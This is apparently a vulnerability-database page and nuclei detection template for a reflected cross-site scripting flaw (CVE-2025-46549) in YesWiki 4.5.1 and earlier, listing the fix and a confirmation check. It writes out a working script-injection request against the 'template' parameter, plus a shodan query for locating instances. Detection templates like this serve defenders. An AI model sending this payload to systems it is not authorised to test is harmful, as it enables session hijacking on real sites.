Browse / CVEs / CVE-2025-46549
CVE-2025-46549
YesWiki <= 4.5.1 - Cross-Site Scripting
mediumseverity
0.6%likelihood of exploitation, next 30 days
47%of all CVEs are less likely
Readycheck to confirm it
YesWiki <= 4.5.1 contains a reflected cross-site scripting caused by insufficient sanitization in user input, letting attackers steal cookies and hijack sessions, exploit requires user to click malicious link.
Impact
Attackers can steal cookies, hijack user sessions, deface websites, or embed malicious content.
Fix
Update to version 4.5.4 or later.
How to confirm it
Send: GET /?BazaR/bazariframe&id=2&template=%3cscript%3ealert(document.domain)%3c%2fscript%3e
Positive when: contains_all(body, "<script>alert(document.domain)</script>","YesWiki") and status_code == 200 and contains(content_type, "text/html")Run it with nuclei: nuclei -id CVE-2025-46549 -u <target>
The full check
id: CVE-2025-46549
info:
name: YesWiki <= 4.5.1 - Cross-Site Scripting
author: MuhammadWaseem
severity: medium
description: |
YesWiki <= 4.5.1 contains a reflected cross-site scripting caused by insufficient sanitization in user input, letting attackers steal cookies and hijack sessions, exploit requires user to click malicious link.
impact:
Attackers can steal cookies, hijack user sessions, deface websites, or embed malicious content.
remediation:
Update to version 4.5.4 or later.
reference:
- https://github.com/YesWiki/yeswiki/security/advisories/GHSA-r9gv-qffm-xw6f
metadata:
verified: true
max-request: 1
shodan-query: "yeswiki"
tags: cve,cve2025,yeswiki,xss,vuln
http:
- raw:
- |
GET /?BazaR/bazariframe&id=2&template=%3cscript%3ealert(document.domain)%3c%2fscript%3e HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "<script>alert(document.domain)</script>","YesWiki")'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from